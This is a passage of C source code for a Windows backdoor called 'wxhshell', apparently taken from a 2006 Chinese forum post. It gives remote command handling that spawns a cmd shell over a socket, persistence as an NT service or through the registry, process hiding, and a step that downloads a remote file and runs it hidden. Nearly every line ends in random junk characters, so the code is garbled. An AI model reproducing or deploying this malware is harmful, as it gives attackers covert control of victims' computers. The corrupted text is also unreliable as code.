    break; X_l,fu^C#$  
  } )v0vdAh'b  
  // 安装 4/|=0TC;  
  case 'i': { UMaKvr-C&  
    if(Install()) KW<CU'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Um<vsR  
    else -Ma"V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tEs$+b  
    break; ` 454=3H  
    } JM%#L*;  
  // 卸载 +dv@N3GV  
  case 'r': { {%Sw w:  
    if(Uninstall()) ? |dz"=y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h6t>yC\  
    else v2V1&-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eGil`:JY"  
    break; Y~xZ{am  
    } 2Oa-c|F  
  // 显示 wxhshell 所在路径 6 -}gqkR  
  case 'p': { *93 N0m4Rl  
    char svExeFile[MAX_PATH]; i\G3 u#  
    strcpy(svExeFile,"\n\r"); _T$\$v$ {  
      strcat(svExeFile,ExeFile); T-TH. R  
        send(wsh,svExeFile,strlen(svExeFile),0); qQ_QF  
    break; D6WsEd>  
    } Y)`+u#` R  
  // 重启 W]OT=6u8o  
  case 'b': { kn\>ZgU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b&1@rE-  
    if(Boot(REBOOT)) L?fv5 S3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DV l: s  
    else { x3 S  
    closesocket(wsh);  Eqc$*=  
    ExitThread(0); 4Q5v8k=  
    } -,&Xp>u\  
    break; |sh  U  
    } K~]jXo^M  
  // 关机 `upNP/,  
  case 'd': { :w+Rs+R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RAC-;~$WB  
    if(Boot(SHUTDOWN)) o[ 6hUX0tN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $u :=lA:N  
    else { 7-DC"`Y8e  
    closesocket(wsh); c z|IBsa*  
    ExitThread(0); jY kx]J%S  
    } %#,BvQz~  
    break; &%lhov  
    } 0CROq}  
  // 获取shell ; F=_ozWV*  
  case 's': { @4i D N  
    CmdShell(wsh); CvN~  
    closesocket(wsh); XHr{\/4V  
    ExitThread(0); :$j~;)2  
    break; O 2U/zF:X  
  } HD ~9EK~  
  // 退出 ]^y}}y  
  case 'x': { =%L^!//c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "{k3~epYaN  
    CloseIt(wsh); 9M<? *8)  
    break; VsC]z, oV  
    } <Yc:,CU  
  // 离开 zP9 !fA  
  case 'q': { X$* 'D)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }/VHeHd  
    closesocket(wsh); v09f#t$;5  
    WSACleanup(); KJd;c.  
    exit(1); 'Khq!pC   
    break; 9\8""-  
        } ,>$#e1!J  
  } md0=6< }P  
  }  VV  
1 f=L8Dr  
  // 提示信息 }=U\v'%m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <da! #12L  
} uMI2Wnnc:/  
  } j!s&yHE1  
F,sT[C  
  return; _W;u Qg']  
} aqB^  %e  
0e7!_ /9  
// shell模块句柄 YblRwic  
int CmdShell(SOCKET sock) Y%faf.$/9  
{ TDoYp  
STARTUPINFO si; GYYro&aq{  
ZeroMemory(&si,sizeof(si)); '.=Z2O3p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g=pDC+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J0#% *B  
PROCESS_INFORMATION ProcessInfo; Ur`v*LT}~  
char cmdline[]="cmd"; zE[c$KPP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N(9'U0z  
  return 0; k2=uP8  
} mT.F$Y9  
B$bsh.  
// 自身启动模式 h2q]!01XP  
int StartFromService(void) 5?b9[o+ D  
{ 9K49<u0O  
typedef struct c_iF S  
{ \c]/4C +/  
  DWORD ExitStatus; 1$^{Uma  
  DWORD PebBaseAddress; 3t,SXI @  
  DWORD AffinityMask; ?d %_o@  
  DWORD BasePriority; oI>;O#  
  ULONG UniqueProcessId; 0XYxMN)  
  ULONG InheritedFromUniqueProcessId; Cdv TC`~,  
}   PROCESS_BASIC_INFORMATION; *f(}@U  
e9 NHbq  
PROCNTQSIP NtQueryInformationProcess; Cpj_mMtu  
.C #}g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~_raI7,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,y0kzwPR1  
gQ?k}D  
  HANDLE             hProcess; +LUL-d  
  PROCESS_BASIC_INFORMATION pbi; Xm*Dh#H  
yqK82z5U*R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p])km%zB(  
  if(NULL == hInst ) return 0; '1w<<?vX?  
u&qdrKx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xH=&={  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B4.hJZ5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d1,azM  
E`i;9e'S  
  if (!NtQueryInformationProcess) return 0; "-hgeQX  
tly:$;K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PH]q#/'  
  if(!hProcess) return 0; H`y- "L8q  
D1w_Vpz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :>,d$f^tqE  
M6e"4Gh  
  CloseHandle(hProcess); H1l' \  
0trFLX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w qsPGkJJ7  
if(hProcess==NULL) return 0; S&VN</p  
]\jhtC=2  
HMODULE hMod; J@Li*Ypo  
char procName[255]; vH?/YhH|  
unsigned long cbNeeded; RH`m=?~J,  
KAe) X_R7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l"cYW9  
x[vX|oE!A  
  CloseHandle(hProcess); nK:39D$(  
2Two|E  
if(strstr(procName,"services")) return 1; // 以服务启动 %(NRH?  
6@T_1  
  return 0; // 注册表启动 Y`M.hYBXk  
} ^iGIF~J9  
GxvVh71zP  
// 主模块 @}FRiPo6  
int StartWxhshell(LPSTR lpCmdLine) H fRxgA@  
{ @p!["v&  
  SOCKET wsl; MM97$  
BOOL val=TRUE; .D7\Hao  
  int port=0; o?b"B+#  
  struct sockaddr_in door; >LW9$[H  
9)=as/o  
  if(wscfg.ws_autoins) Install();  ztTpMj  
{ }>"f]3  
port=atoi(lpCmdLine); :!3P4?a  
.M_;mhRI  
if(port<=0) port=wscfg.ws_port; o77HRX  
~:JKXa?  
  WSADATA data; g'mkhF(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v+\E%H  
ncWASw`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wo?C 7,-x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); au GN~"n^  
  door.sin_family = AF_INET; =P5SFMPN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yX8F^iv[  
  door.sin_port = htons(port); 6/GhQ/T%D  
//WgK{Mt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $+?6U  
closesocket(wsl); /A_ IS`  
return 1; /1O6;'8He  
} ^tpy8TQ  
0m?ul%=  
  if(listen(wsl,2) == INVALID_SOCKET) { 3Hq0\Y"Y  
closesocket(wsl); d{YhKf#~  
return 1; $i =-A  
} {(t (}-:Z  
  Wxhshell(wsl); EK#w: "  
  WSACleanup(); FL`. (,  
Q(%uDUg%  
return 0; ,PY<AI^59  
H9&? <j1n  
} .%*.nq  
C@KYg/nYw  
// 以NT服务方式启动 4E"qpy \(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t);5Cw _  
{ Cu!4ha.e`  
DWORD   status = 0; J H$  
  DWORD   specificError = 0xfffffff; uz*C`T0:rj  
t[3Upe%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8^M5u>=t;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?p$WqVN}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Phx/9Kk  
  serviceStatus.dwWin32ExitCode     = 0; a8dR.  
  serviceStatus.dwServiceSpecificExitCode = 0; 3?fya8W<  
  serviceStatus.dwCheckPoint       = 0; tl#hCy  
  serviceStatus.dwWaitHint       = 0; |>[w $  
Wqy8ZgSC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bG\1<:6B  
  if (hServiceStatusHandle==0) return; GF k?Qf{u  
gAR];(*  
status = GetLastError(); mTcLocx  
  if (status!=NO_ERROR) y*zZ }>  
{ <KJ18/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iPHMyxT+S  
    serviceStatus.dwCheckPoint       = 0; 71wyZJ  
    serviceStatus.dwWaitHint       = 0; 9WBDSx_(Q  
    serviceStatus.dwWin32ExitCode     = status; 654PW9{(  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z3[,Xw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D@\97t+  
    return; o6{XT.z5qx  
  } c5Offnq'1  
/wIZ '  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sz}Nal$AC  
  serviceStatus.dwCheckPoint       = 0; DNL TJrN  
  serviceStatus.dwWaitHint       = 0; _&yQW&vH#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QAu^]1;  
} k"AY7vq@!P  
C?b Mj[$  
// 处理NT服务事件,比如:启动、停止 !(+?\+U lE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e _,_:|t  
{ L9G=+T9  
switch(fdwControl) 1tg   
{ wu s]  
case SERVICE_CONTROL_STOP: 3fBq~Q  
  serviceStatus.dwWin32ExitCode = 0; `M\L 6o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yQ&;#`!'  
  serviceStatus.dwCheckPoint   = 0; t6~|T_]  
  serviceStatus.dwWaitHint     = 0; lJq %me;4m  
  { i++ F&r[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Qwi 0$  
  }  eYS  
  return; 1no$|n#  
case SERVICE_CONTROL_PAUSE: nar=\cs~g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cbS8~Xmj  
  break; }_u )3X.O  
case SERVICE_CONTROL_CONTINUE: R|tjvp-[}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;m;wSp  
  break; 'd/A+W  
case SERVICE_CONTROL_INTERROGATE: ;r8,Wx@f1C  
  break; ZVda0lex&  
}; 6`EyzB%.$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }<S|_F  
} &4DvZq=  
Hjlx,:'M  
// 标准应用程序主函数 na%9E8;:&v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pW!]  
{ x37r{$2  
'\ 6.GP  
// 获取操作系统版本 /GCSC8T  
OsIsNt=GetOsVer(); Qa"R?dfr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pQW^lqwZ:6  
hu6)GOZbv  
  // 从命令行安装 |[xi"E\  
  if(strpbrk(lpCmdLine,"iI")) Install(); MJ>(HJY6?%  
-7\RO%U  
  // 下载执行文件 g2F~0%HY  
if(wscfg.ws_downexe) { XjL( V1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g,x$z~zU{  
  WinExec(wscfg.ws_filenam,SW_HIDE); w6Ue5Ix,!  
} g[!sGa &  
'?Hy"5gUA  
if(!OsIsNt) { M}us^t*  
// 如果时win9x,隐藏进程并且设置为注册表启动 qOkw6jfluh  
HideProc(); i"U3wt |A  
StartWxhshell(lpCmdLine); R:OoQ^c  
} 6eQrupa  
else "BEU%,w  
  if(StartFromService()) 4yjAi@ /2  
  // 以服务方式启动 _3ZZ-=J:=*  
  StartServiceCtrlDispatcher(DispatchTable); 'L=g(  
else E-n!3RQ(w  
  // 普通方式启动 l1!i3m'x  
  StartWxhshell(lpCmdLine); 7dxY07 yu  
Z;lE-`Z*(F  
return 0; O+(Z`,^  
}
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只看该作者 1 发表于: 2006-10-10
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